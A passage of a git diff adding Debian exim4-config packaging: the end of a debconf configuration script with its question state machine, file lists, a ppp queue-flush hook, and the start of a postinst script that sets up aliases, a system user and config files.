directive to find dc_smarthost + # ' || true' is required for "set -e" + dc_smarthost="$(< $1 grep -A3 '^smarthost:' | grep -A2 '[[:blank:]]*driver = domainlist' | grep -A1 '^[[:blank:]]*transport = remote_smtp' | grep '^[[:blank:]]*route_list = ".*"' || true)" + + if [ ! -z "${dc_readhost}" ] ; then + dc_eximconfig_configtype=satellite + elif [ ! -z "${dc_smarthost}" ] ; then + dc_eximconfig_configtype=smarthost + elif ! cat "$1" | grep -h -q '^remote_smtp:'; then + # dc_eximconfig_configtype=local has no remote_smtp transport. + dc_eximconfig_configtype=local + else + # handcrafted config. We probably misparsed, reset values + # and exit. + dc_eximconfig_configtype='' + dc_local_interfaces='notset' + dc_other_hostnames='' + dc_readhost='' + dc_relay_domains='' + dc_relay_nets='' + dc_smarthost='' + dc_hide_mailname='' + return 1 + fi + fi + + case ${dc_eximconfig_configtype} in + internet|local) + #paranoia + dc_readhost='' + dc_smarthost='' + dc_hide_mailname='false' + ;; + satellite) + # new_address = ${local_part}@$readhost + dc_readhost="$(printf '%s\n' "${dc_readhost}" | sed -e 's/^.*@//' -e 's/[[:blank:]]*$//')" + # route_list = "* $smtphost bydns_a" + dc_smarthost="$(printf '%s\n' "${dc_smarthost}" | \ + sed -e 's/^ *route_list = "\* //' -e 's/ bydns_a"//' -e 's/[[:blank:]]*$//')" + dc_hide_mailname='true' + dc_relay_domains='' + ;; + smarthost) + # route_list = "* $smtphost bydns_a" + dc_smarthost="$(printf '%s\n' "${dc_smarthost}" | \ + sed -e 's/^ *route_list = "\* //' -e 's/ bydns_a"//' -e 's/[[:blank:]]*$//')" + dc_hide_mailname='false' + dc_relay_domains='' + ;; + esac +} + +########## +mailname2otherhostnames() { + # u-ex4.conf no longer includes mailname in local domains, + # insert it once into other_hostnames. + # The debconf script might run twice, we need to store the result + # in a file to pass it to postinst.. + [ -d /var/lib/exim4 ] || \ + install -d -oroot -groot -m755 /var/lib/exim4 + dc_mailname="$(head -n 1 /etc/mailname | stripwhitespace)" || true + if [ -z "${dc_other_hostnames}" ] ; then + dc_other_hostnames="${dc_mailname}" + else + dc_other_hostnames="$(printf '%s\n' "${dc_other_hostnames}" | stripwhitespace)":${dc_mailname} + fi + printf '%s\n' dc_other_hostnames="'""${dc_other_hostnames}""'" > \ + /var/lib/exim4/addmailname2oh + db_fset "exim4/dc_other_hostnames" mailname true + dc_mailname_in_oh="true" +} +mailname2otherhostnamesdcloop() { +# append mailname to other_hostnames, once. on fresh installations. + if [ "${dc_mailname_in_oh}" != "true" ] ;then + db_get exim4/mailname + dc_mailname="$(printf '%s\n' "$RET"| stripwhitespace)" + db_get "exim4/dc_other_hostnames" + dc_other_hostnames="$(printf '%s\n' "$RET"| stripwhitespace)" + if [ -z "${dc_other_hostnames}" ] ; then + dc_other_hostnames="${dc_mailname}" + else + dc_other_hostnames="${dc_other_hostnames}:${dc_mailname}" + fi + db_set exim4/dc_other_hostnames "${dc_other_hostnames}" + db_fset "exim4/dc_other_hostnames" mailname true + dc_mailname_in_oh="true" + fi +} +########## + + +# set to dummy value, so we can differ between unset vs (seen or set outside debconf) +dc_local_interfaces=notset + +db_settitle exim4/exim4-config-title +db_get exim4/dc_eximconfig_configtype +dc_eximconfig_configtype="$(convert_to_short "$RET")" +db_get exim4/use_split_config +dc_use_split_config="$RET" +# Did we append mailname to other_hostnames yet? +db_fget "exim4/dc_other_hostnames" mailname || true +dc_mailname_in_oh="$RET" + +if [ -e $UE4CC ] ; then + . $UE4CC || true + # on upgrades _once_ add mailname to other_hostnames + if [ -n "$2" ] && [ "$1" = "configure" ] && \ + [ "${dc_mailname_in_oh}" != "true" ] ; then + mailname2otherhostnames + fi + # set defaults using these values + storevar2db +else + # If there are no debconf answers (running first time) and we are + # making a cross upgrade from exim3, try to parse its config file + # to seed debconf db. + if [ "${dc_eximconfig_configtype}" = "" ] && [ -r /etc/exim/exim.conf ] ; then + # parse old configfile + # + # first do unfolding of lines continued with backslash, by: + # 1. remove comment lines + # 2. remove blank lines + # 3. remove "\<optional space><newline><optional space>" + exim3confunfolded="$(tempfile -p EX3)" + perl -e \ + 'undef $/; + while (<>) { + s/^[[:space:]]*#[^\n]*\n//mg; + s/^\n//mg; + s/\\[[:space:]]*\n[[:space:]]*//g; + } continue { + print or die "blah"; + }' < /etc/exim/exim.conf > "$exim3confunfolded" + if parseexim3 "$exim3confunfolded" ; then + # set defaults using these values + storevar2db + fi + rm -f "$exim3confunfolded" + fi +fi + +## set up default values, we cannot do this in templates file because +## config script is called two times before update-exim4.conf.conf exists. +[ "${dc_eximconfig_configtype}" = "" ] && \ + dc_eximconfig_configtype="local" && \ + db_set exim4/dc_eximconfig_configtype "$(convert_to_long ${dc_eximconfig_configtype})" + + +if [ -e /etc/mailname ] ; then + dc_mailname="$(head -n 1 /etc/mailname | stripwhitespace)" || true + # store values + db_set exim4/mailname "${dc_mailname}" +else + db_get exim4/mailname + dc_mailname="$RET" +fi + +#Set default mailname +if [ "${dc_mailname}" = "" ] ; then + dc_mailname="$(hostname --fqdn 2>/dev/null)" || dc_mailname="$(hostname)" && \ + dc_mailname="$(printf '%s\n' "${dc_mailname}" | stripwhitespace)" && \ + db_set exim4/mailname "${dc_mailname}" +fi +fqdn="$(hostname --fqdn 2>/dev/null)" || fqdn='' +db_subst exim4/dc_other_hostnames fqdn "$fqdn" + +# initialize env-vars from debconf_db, if they haven't been set yet either by +# parseexim3() or by sourcing $UE4CC +if [ "${dc_readhost}" = "" ] ; then + db_get exim4/dc_readhost + dc_readhost="$RET" +fi +if [ "${dc_smarthost}" = "" ] ; then + db_get exim4/dc_smarthost + dc_smarthost="$RET" +fi +# Tricky! An empty value for this option is significant, therefore both +# envvar and debconf-value default to "nonset" instead of "", the +# following line will only change then envvars value if the config-script +# runs the second time without existing $UE4CC or +# if the debconf-db has been preseeded by other means. +if [ "${dc_local_interfaces}" = "notset" ]; then + db_get exim4/dc_local_interfaces + dc_local_interfaces="$RET" +fi +if [ "${dc_minimaldns}" = "" ] ; then + db_get exim4/dc_minimaldns + dc_minimaldns="$RET" +fi + +if [ "${dc_use_split_config}" = "" ] ; then + if [ "${2}" = "" ] ; then + # fresh installation + db_set exim4/use_split_config false + dc_use_split_config="false" + else + db_set exim4/use_split_config true + dc_use_split_config="true" + fi +fi + +if [ "${dc_localdelivery}" = "" ] ; then + db_get exim4/dc_localdelivery + dc_localdelivery="$(convert_transport_to_short "$RET")" +elif [ "$(convert_transport_to_long ${dc_localdelivery})" = "locally customized" ] ; then + dc_localdelivery="custom" +fi + +db_version 2.0 + +db_capb backup +# initial state +STATE=1 +# state to continue for all values +CONTSTATE=50 +# last valid state +STATELIMIT=51 +EX4QUESTION="" +while [ "$STATE" != 0 ] && [ "$STATE" -le "$STATELIMIT" ]; do + case "$STATE" in + 1) + # this is now empty + EX4QUESTION="" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + ;; + + 2) + EX4QUESTION="exim4/dc_eximconfig_configtype" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + CONFIGTYPEQUESTION=2 + db_input medium "$EX4QUESTION" || true + ;; + 3) + EX4QUESTION="" + db_get exim4/dc_eximconfig_configtype + dc_eximconfig_configtype="$(convert_to_short "$RET")" + BACKSTATE=$(($STATE - 1)) + case "${dc_eximconfig_configtype}" in + none) + # dont ask more questions + #FORWSTATE=$(($STATELIMIT + 1)) + FORWSTATE=4 + ;; + internet) + FORWSTATE=8 + ;; + smarthost) + FORWSTATE=20 + ;; + satellite) + FORWSTATE=30 + ;; + local) + FORWSTATE=40 + ;; + *) + # Should not happen. Break loop + FORWSTATE=$(($STATELIMIT + 1)) + ;; + esac + ;; + + 4) + # show additional info for type=none + EX4QUESTION="exim4/no_config" + BACKSTATE=$CONFIGTYPEQUESTION + FORWSTATE=$(($STATE + 1)) + # same priority as configtype because of danger of loop? + db_input medium "$EX4QUESTION" || true + ;; + 5) + EX4QUESTION="" + BACKSTATE=$CONFIGTYPEQUESTION + db_get exim4/no_config || true + if [ "$RET" = "false" ]; then + FORWSTATE=$CONFIGTYPEQUESTION + else + #break loop + FORWSTATE=$CONTSTATE + fi + ;; + + 8) + # internet site + EX4QUESTION="exim4/mailname" + db_input medium "$EX4QUESTION" || true + BACKSTATE=$CONFIGTYPEQUESTION + FORWSTATE=$(($STATE + 1)) + ;; + 9) + EX4QUESTION="exim4/dc_local_interfaces" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + if [ "${dc_local_interfaces}" = "notset" ] ; then + dc_local_interfaces='' + db_set exim4/dc_local_interfaces '' + fi + db_input medium "$EX4QUESTION" || true + ;; + 10) + EX4QUESTION="exim4/dc_other_hostnames" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + mailname2otherhostnamesdcloop + db_input medium "$EX4QUESTION" || true + ;; + 11) + EX4QUESTION="exim4/dc_relay_domains" + db_input medium "$EX4QUESTION" || true + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + ;; + 12) + EX4QUESTION="exim4/dc_relay_nets" + db_input medium "$EX4QUESTION" || true + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + ;; + 13) + EX4QUESTION="exim4/dc_minimaldns" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + db_input low "$EX4QUESTION" || true + ;; + 14) + EX4QUESTION="exim4/dc_localdelivery" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$CONTSTATE + # do not ask question if user has set a different transport + # than maildir or mailspool + if [ "${dc_localdelivery}" != "custom" ] ; then + db_input low "$EX4QUESTION" || true + fi + ;; + + + 20) + # internet site with smarthost + EX4QUESTION="exim4/mailname" + db_input medium "$EX4QUESTION" || true + BACKSTATE=$CONFIGTYPEQUESTION + FORWSTATE=$(($STATE + 1)) + ;; + 21) + EX4QUESTION="exim4/dc_local_interfaces" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + if [ "${dc_local_interfaces}" = "notset" ] ; then + dc_local_interfaces='127.0.0.1 ; ::1' + db_set exim4/dc_local_interfaces '127.0.0.1 ; ::1' + fi + db_input medium "$EX4QUESTION" || true + ;; + 22) + EX4QUESTION="exim4/dc_other_hostnames" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + mailname2otherhostnamesdcloop + db_input medium "$EX4QUESTION" || true + ;; + 23) + EX4QUESTION="exim4/dc_relay_domains" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + db_get "$EX4QUESTION" || true + dc_relay_domains="$RET" + # Only ask for relay domains if non-empty, since this only + # really works for internet site hosts. (See comment near + # smarthost router definition in configuration file.) + if [ "${dc_relay_domains}" != "" ] ; then + db_input medium "$EX4QUESTION" || true + fi + ;; + 24) + EX4QUESTION="exim4/dc_relay_nets" + db_input medium "$EX4QUESTION" || true + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + ;; + 25) + EX4QUESTION="exim4/dc_smarthost" + if [ "${dc_smarthost}" = "" ] ; then + # default to mail.mailname + dc_smarthost="mail.${dc_mailname}" + db_set exim4/dc_smarthost "${dc_smarthost}" + fi + db_input medium "$EX4QUESTION" || true + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + ;; + 26) + EX4QUESTION="exim4/hide_mailname" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + db_get exim4/mailname || true + dc_mailname="$RET" + db_get exim4/dc_other_hostnames || true + dc_other_hostnames="$RET" + db_subst exim4/hide_mailname mailname ${dc_mailname} + db_subst exim4/hide_mailname dc_other_hostnames \ + ${dc_other_hostnames} + db_get $EX4QUESTION || true + dc_hide_mailname="$RET" + if [ "${dc_hide_mailname}" = "" ] ; then + dc_hide_mailname='false' + db_set exim4/hide_mailname "${dc_hide_mailname}" + fi + db_input medium "$EX4QUESTION" || true + ;; + 27) + EX4QUESTION="exim4/dc_readhost" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + db_get exim4/hide_mailname + dc_hide_mailname="$RET" + if [ "${dc_hide_mailname}" = "true" ];then + if [ "${dc_readhost}" = "" ] ; then + # default to mailname + dc_readhost="${dc_mailname}" + db_set exim4/dc_readhost "${dc_readhost}" + fi + db_input medium "$EX4QUESTION" || true + else + EX4QUESTION="" + fi + ;; + 28) + EX4QUESTION="exim4/dc_minimaldns" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + db_input low "$EX4QUESTION" || true + ;; + 29) + EX4QUESTION="exim4/dc_localdelivery" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$CONTSTATE + # do not ask question if user has set a different transport + # than maildir or mailspool + if [ "${dc_localdelivery}" != "custom" ] ; then + db_input low "$EX4QUESTION" || true + fi + ;; + + 30) + # satellite + EX4QUESTION="exim4/mailname" + db_input medium "$EX4QUESTION" || true + BACKSTATE=$CONFIGTYPEQUESTION + FORWSTATE=$(($STATE + 1)) + ;; + 31) + EX4QUESTION="exim4/dc_local_interfaces" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + if [ "${dc_local_interfaces}" = "notset" ] ; then + dc_local_interfaces='127.0.0.1 ; ::1' + db_set exim4/dc_local_interfaces '127.0.0.1 ; ::1' + fi + db_input medium "$EX4QUESTION" || true + ;; + 32) + EX4QUESTION="exim4/dc_other_hostnames" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + mailname2otherhostnamesdcloop + db_input medium "$EX4QUESTION" || true + ;; + 33) + EX4QUESTION="exim4/dc_readhost" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + # satellite requires a mail-hub, no use asking whether there + # is one. + db_set exim4/hide_mailname "true" + dc_hide_mailname="true" + if [ "${dc_readhost}" = "" ] ; then + # default to domain of mailname + dc_readhost="${dc_mailname}" + db_set exim4/dc_readhost "${dc_readhost}" + fi + db_input medium "$EX4QUESTION" || true + ;; + 34) + EX4QUESTION="exim4/dc_smarthost" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + db_get exim4/dc_readhost + dc_readhost="$RET" + if [ "${dc_smarthost}" = "" ] ; then + # default to read_host + dc_smarthost="${dc_readhost}" + db_set exim4/dc_smarthost "${dc_smarthost}" + fi + db_input medium "$EX4QUESTION" || true + ;; + 35) + EX4QUESTION="exim4/dc_relay_domains" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + db_get "$EX4QUESTION" || true + dc_relay_domains="$RET" + # Only ask for relay domains if non-empty, since this only + # really works for internet site hosts. (See comment near + # smarthost router definition in configuration file.) + if [ "${dc_relay_domains}" != "" ] ; then + db_input medium "$EX4QUESTION" || true + fi + ;; + 36) + EX4QUESTION="" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + # satellite-system! Only ask for relay_nets if they are + # nonempty - we cannot distinguish whether they were set outside debconf + # or whether the user switched dc_eximconfig_configtype + db_get exim4/dc_relay_nets || true + dc_relay_nets="$RET" + if [ "${dc_relay_nets}" != "" ] ; then + db_input medium exim4/dc_relay_nets || true + FORWSTATE=$(($STATE + 1)) + fi + ;; + 37) + EX4QUESTION="exim4/dc_minimaldns" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + db_input low "$EX4QUESTION" || true + ;; + 38) + EX4QUESTION="exim4/dc_localdelivery" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$CONTSTATE + # Only ask question if it is set to a value that is both supported + # by debconf (maildir_home and mail_spool) and is not set to the + # default value (maildir_home) since this is only used for + # real-*. + if [ "${dc_localdelivery}" = "maildir_home" ] ; then + db_input low "$EX4QUESTION" || true + fi + ;; + + 40) + # local mail only + EX4QUESTION="exim4/mailname" + db_input medium "$EX4QUESTION" || true + BACKSTATE=$CONFIGTYPEQUESTION + FORWSTATE=$(($STATE + 1)) + ;; + 41) + EX4QUESTION="" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + if [ "${dc_local_interfaces}" = "notset" ] ; then + dc_local_interfaces='127.0.0.1 ; ::1' + db_set exim4/dc_local_interfaces '127.0.0.1 ; ::1' + fi + db_input medium exim4/dc_local_interfaces || true + ;; + + 42) + EX4QUESTION="exim4/dc_other_hostnames" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + mailname2otherhostnamesdcloop + db_input medium "$EX4QUESTION" || true + ;; + + 43) + EX4QUESTION="" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + # local mail only -system! Only ask for relay_nets/relay_domains if they are + # nonempty - we cannot distinguish whether they were set outside debconf + # or whether the user switched dc_eximconfig_configtype + db_get exim4/dc_relay_nets || true + dc_relay_nets="$RET" + db_get exim4/dc_relay_domains || true + dc_relay_domains="$RET" + + if [ "${dc_relay_nets}" != "" ] ; then + db_input medium exim4/dc_relay_nets || true + fi + if [ "${dc_relay_domains}" != "" ] ; then + db_input medium exim4/dc_relay_domains || true + fi + ;; + 44) + EX4QUESTION="exim4/dc_minimaldns" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$(($STATE + 1)) + db_input low "$EX4QUESTION" || true + ;; + 45) + EX4QUESTION="exim4/dc_localdelivery" + BACKSTATE=$(($STATE - 1)) + FORWSTATE=$CONTSTATE + # do not ask question if user has set a different transport + # than maildir or mailspool + if [ "${dc_localdelivery}" != "custom" ] ; then + db_input low "$EX4QUESTION" || true + fi + ;; + 50) + EX4QUESTION="exim4/use_split_config" + BACKSTATE=$PREVSTATE + FORWSTATE=$(($STATELIMIT + 1)) + db_input medium "$EX4QUESTION" || true + ;; + esac + PREVSTATE=$STATE + if db_go; then + STATE=$FORWSTATE + else + STATE=$BACKSTATE + fi +done +if [ "$STATE" = 0 ] ; then + # User pressed back on the first question, go back to previous + # package if run by base-config 2.0. #222773. + exit 30 +fi + +# make sure dc_local_interfaces is set to sane value +if [ "${dc_local_interfaces}" = "notset" ] ; then + dc_local_interfaces='' + db_set exim4/dc_local_interfaces '' +fi + +if [ ! -e /etc/aliases ] || \ + ! grep -q '^root:[[:space:]]*[[:alnum:]]' /etc/aliases ; then + db_get exim4/dc_postmaster + if [ -z "$RET" ] && db_get passwd/username; then + db_set exim4/dc_postmaster "${RET}" + fi + db_input medium exim4/dc_postmaster || true + db_go || true +fi + +db_get exim4/dc_postmaster || true +dc_postmaster="$(printf '%s\n' "$RET" | stripwhitespace)" + +# this has been commented out for a long time, remove by the end of 2007 +# if [ "${dc_eximconfig_configtype}" = "satellite" ] || [ "${dc_eximconfig_configtype}" = "local" ] ; then +# # reset dc_relay_domains dc_relay_nets and dc_other_hostnames +# db_set exim4/dc_relay_domains "" +# db_set exim4/dc_relay_nets "" +# db_set exim4/dc_other_hostnames "" +# fi diff --git a/debian/exim4-config.dirs b/debian/exim4-config.dirs new file mode 100644 index 0000000..a87381e --- /dev/null +++ b/debian/exim4-config.dirs @@ -0,0 +1,6 @@ +/etc/exim4/conf.d +/etc/ppp/ip-up.d +/usr/sbin +/usr/share/doc/exim4-config +/usr/share/man/man8 +/var/lib/exim4 diff --git a/debian/exim4-config.docs b/debian/exim4-config.docs new file mode 100644 index 0000000..e174728 --- /dev/null +++ b/debian/exim4-config.docs @@ -0,0 +1 @@ +debian/README.Debian diff --git a/debian/exim4-config.examples b/debian/exim4-config.examples new file mode 100644 index 0000000..62112c3 --- /dev/null +++ b/debian/exim4-config.examples @@ -0,0 +1 @@ +debian/e-n-if-up diff --git a/debian/exim4-config.exim4.ppp.ip-up b/debian/exim4-config.exim4.ppp.ip-up new file mode 100644 index 0000000..d723ff5 --- /dev/null +++ b/debian/exim4-config.exim4.ppp.ip-up @@ -0,0 +1,15 @@ +#!/bin/sh + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +[ -x /usr/lib/exim4/exim4 ] || exit 0 + +[ -f /etc/default/exim4 ] && . /etc/default/exim4 + +if [ "${QUEUERUNNER}" != "no" ] ; then +# Flush exim queue + /usr/sbin/exim4 -qqf ${QUEUERUNNEROPTIONS} ${COMMONOPTIONS} +fi diff --git a/debian/exim4-config.install b/debian/exim4-config.install new file mode 100644 index 0000000..94d6a91 --- /dev/null +++ b/debian/exim4-config.install @@ -0,0 +1,3 @@ +debian/debconf/exim4.conf.template etc/exim4 +debian/debconf/update-exim4.conf.template usr/sbin +debian/script usr/share/bug/exim4-config diff --git a/debian/exim4-config.links b/debian/exim4-config.links new file mode 100644 index 0000000..542c9f5 --- /dev/null +++ b/debian/exim4-config.links @@ -0,0 +1,15 @@ +usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/etc-aliases.5.gz +usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/etc-email-addresses.5.gz +usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_exim_crt.5.gz +usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_exim_key.5.gz +usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_host_local_deny_exceptions.5.gz +usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_hubbed_hosts.5.gz +usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_local_domain_dnsbl_whitelist.5.gz +usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_local_host_blacklist.5.gz +usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_local_rcpt_callout.5.gz +usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_local_sender_blacklist.5.gz +usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_local_sender_callout.5.gz +usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_passwd.5.gz +usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_passwd_client.5.gz +usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_sender_local_deny_exceptions.5.gz +usr/share/man/man8/update-exim4.conf.8.gz usr/share/man/man5/update-exim4.conf.conf.5.gz diff --git a/debian/exim4-config.lintian-overrides b/debian/exim4-config.lintian-overrides new file mode 100644 index 0000000..e5def90 --- /dev/null +++ b/debian/exim4-config.lintian-overrides @@ -0,0 +1 @@ +exim4-config: non-standard-file-perm etc/exim4/passwd.client 0640 != 0644 diff --git a/debian/exim4-config.manpages b/debian/exim4-config.manpages new file mode 100644 index 0000000..decb79d --- /dev/null +++ b/debian/exim4-config.manpages @@ -0,0 +1,4 @@ +debian/manpages/exim4-config_files.5 +debian/manpages/update-exim4.conf.8 +debian/manpages/update-exim4.conf.template.8 +debian/manpages/update-exim4defaults.8 diff --git a/debian/exim4-config.postinst b/debian/exim4-config.postinst new file mode 100644 index 0000000..42d7b53 --- /dev/null +++ b/debian/exim4-config.postinst @@ -0,0 +1,408 @@ +#!/bin/sh + +set -e +export exim4postinstisrunning=true +. /usr/share/debconf/confmodule + +if [ -n "$EX4DEBUG" ]; then + echo "now debugging $0 $@" + set -x +fi + +UE4CC="/etc/exim4/update-exim4.conf.conf" + +db_version 2.0 + +get_value() { + db_get $1 + code="$?" + if [ "$code" -eq "0" ]; then + : + else + echo "Error getting debconf answer $1: debconf code=$code" >&2 + exit $code + fi +} + +write_header() { + cat <<EOF > $UE4CC +# $UE4CC +# +# Edit this file and /etc/mailname by hand and execute update-exim4.conf +# yourself or use 'dpkg-reconfigure exim4-config' +# +# Please note that this is _not_ a dpkg-conffile and that automatic changes +# to this file might happen. The code handling this will honor your local +# changes, so this is usually fine, but will break local schemes that mess +# around with multiple versions of the file. +# +# update-exim4.conf uses this file to determine variable values to generate +# exim configuration macros for the configuration file. +# +# Most settings found in here do have corresponding questions in the +# Debconf configuration, but not all of them. +# +# This is a Debian specific file + +EOF +} + +addrootalias() { +# remove leading and ending whitespace, shrink multiple whitespace, separate +# entries with commas +poma="$(echo "$1" | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' -e 's/[[:space:];][[:space:]]*/,/g')" +if [ "none" != "$poma" ] && [ "" != "$poma" ]; then + echo "root: ${poma}" >> /etc/aliases +fi +} + +#initialize /etc/aliases +writealiases() { +echo '# /etc/aliases' > /etc/aliases.tmp +echo 'mailer-daemon: postmaster' >> /etc/aliases.tmp +for i in postmaster nobody hostmaster usenet news webmaster www ftp abuse noc security ; do + echo "${i}: root" +done >> /etc/aliases.tmp +mv /etc/aliases.tmp /etc/aliases +} + +alias stripwhitespace="sed -e 's/^[[:blank:]]*//' -e 's/[[:blank:]]*$//'" + +# return success if md5sum matches file +unmodified() { + [ "$#" -eq 1 ] || return 1 + [ -f "$1" ] || return 1 + # first line, without the leading '# '. + checksum_current="$(sed -n -e '1s/^# //' -e '1p;1q' "$1")" + + # md5sum over the rest of the file. + # some versions of md5sum produce + # '68b329da9893e34099c7d8ad5cb9c940 -' others don't add the dash. + # '68b329da9893e34099c7d8ad5cb9c940' + checksum_new="$(sed -n '2,$p' "$1" | md5sum | cut -d\ -f1)" + + if [ "${checksum_current}" = "${checksum_new}" ] ; then + return 0 + else + return 1 + fi +} + +convert_to_long () +{ + case "$1" in + internet) + echo -n "internet site; mail is sent and received directly using SMTP" + ;; + smarthost) + echo -n "mail sent by smarthost; received via SMTP or fetchmail" + ;; + satellite) + echo -n "mail sent by smarthost; no local mail" + ;; + local) + echo -n "local delivery only; not on a network" + ;; + none) + echo -n "no configuration at this time" + ;; + esac +} + +convert_to_short () +{ + case "$1" in + "internet site; mail is sent and received directly using SMTP") + echo -n "internet" + ;; + "mail sent by smarthost; received via SMTP or fetchmail") + echo -n "smarthost" + ;; + "mail sent by smarthost; no local mail") + echo -n "satellite" + ;; + "local delivery only; not on a network") + echo -n "local" + ;; + "no configuration at this time") + echo -n "none" + ;; + esac +} + +convert_transport_to_long () +{ + case "$1" in + maildir_home) + echo -n "Maildir format in home directory" + ;; + mail_spool) + echo -n "mbox format in /var/mail/" + ;; + *) + echo -n "locally customized" + ;; + esac +} +convert_transport_to_short () +{ + case "$1" in + "Maildir format in home directory") + echo -n "maildir_home" + ;; + "mbox format in /var/mail/") + echo -n "mail_spool" + ;; + *) + echo -n "custom" + ;; + esac +} + +# remove orphaned autogenerated conffile if unmodified. 4.20-2. +if [ "$1" = "configure" ] && \ + dpkg --compare-versions "$2" le-nl "4.20-1" ; then + + for i in /etc/exim4/conf.d/rewrite/30_exim4-config_email-addresses \ + /etc/exim4/conf.d/rewrite/35_exim4-config_masquerade ; do + if unmodified "$i"; then + echo "Removing orphaned unmodified configfile $i" 1>&2 + rm "$i" + fi + done + +fi +if [ "$1" = "configure" ] && \ + dpkg --compare-versions "$2" le-nl "4.20-2" ; then + if unmodified "/etc/exim4/conf.d/main/03_exim4-config_neverusers"; then + echo "Removing orphaned unmodified configfile /etc/exim4/conf.d/main/03_exim4-config_neverusers" 1>&2 + rm "/etc/exim4/conf.d/main/03_exim4-config_neverusers" + fi +fi + +# Disable orphaned inetd-entries from exim (v3) caused by bugs #202670 +# and #182206. +if [ "$1" = "configure" ] &&\ + which update-inetd > /dev/null && which exim > /dev/null && \ + [ -f /etc/inetd.conf ] && \ + grep -E -q '^smtp[[:space:]]*stream[[:space:]]*tcp[[:space:]]*nowait[[:space:]]*mail[[:space:]]*/usr/sbin/+exim exim -bs' /etc/inetd.conf +then + update-inetd --comment-chars \#disabled\# \ + --pattern '/usr/sbin/exim exim -bs' --disable smtp +fi + +if [ "$1" = "configure" ] &&\ + ! getent passwd Debian-exim > /dev/null ; then + echo 'Adding system-user for exim (v4)' 1>&2 + adduser --system --group --quiet --home /var/spool/exim4 \ + --no-create-home --disabled-login --force-badname Debian-exim +fi + +# fix permissions of /etc/exim4/passwd.client +if [ "$1" = "configure" ] ; then + if ! dpkg-statoverride --list /etc/exim4/passwd.client > /dev/null 2>&1 + then + dpkg-statoverride --update --add root Debian-exim 0640 \ + /etc/exim4/passwd.client + fi + + if dpkg --compare-versions "$2" le "4.30-1" ; then + find /etc/exim4 -user mail \( -type f -or -type d \) -print |\ + while read i ; + do + if ! dpkg-statoverride --list "$i" > /dev/null ; then + chown Debian-exim "$i" + fi + done + find /etc/exim4 -group mail \( -type f -or -type d \) -print |\ + while read i ; + do + if ! dpkg-statoverride --list "$i" > /dev/null ; then + chgrp Debian-exim "$i" + fi + done + fi +fi + +case "$1" in + configure) + # Configure Exim############################## + ############################################## + # valid config directives + dc_directives="dc_eximconfig_configtype dc_other_hostnames dc_local_interfaces dc_readhost dc_relay_domains dc_minimaldns dc_relay_nets dc_smarthost CFILEMODE dc_use_split_config dc_hide_mailname dc_mailname_in_oh dc_localdelivery" + # Generate config-file if it does not yet exist + if [ ! -e $UE4CC ] ; then + write_header + for variable in ${dc_directives} ; do + echo "${variable}=" + done >> $UE4CC + fi + + # If this is a fresh installation generate dummy files, which + # will be overwritten by update-exim4.conf + # if we add stuff later, we have to compare versions: + # if [ -z "$2" ] || [ "$2" = "<unknown>" ] || dpkg --compare-versions "$2" lt "4.14-0.4" ; then + # for file in /etc/exim4/conf.d/main/03_exim4-config_neverusers ;do + # if [ ! -f "$file" ] ; then + # echo "# d41d8cd98f00b204e9800998ecf8427e" > "$file" + # chmod 644 "$file" + # fi + # done + #fi + + # generate defaultfile + update-exim4defaults --init + + # source $UE4CC - needed for not + # debconf-managed values in there. + . $UE4CC + + # Substitute values from debconf db + db_get exim4/dc_eximconfig_configtype || true + dc_eximconfig_configtype="$(convert_to_short "$RET")" + db_get exim4/dc_local_interfaces || true + dc_local_interfaces="$(printf '%s\n' "$RET" | 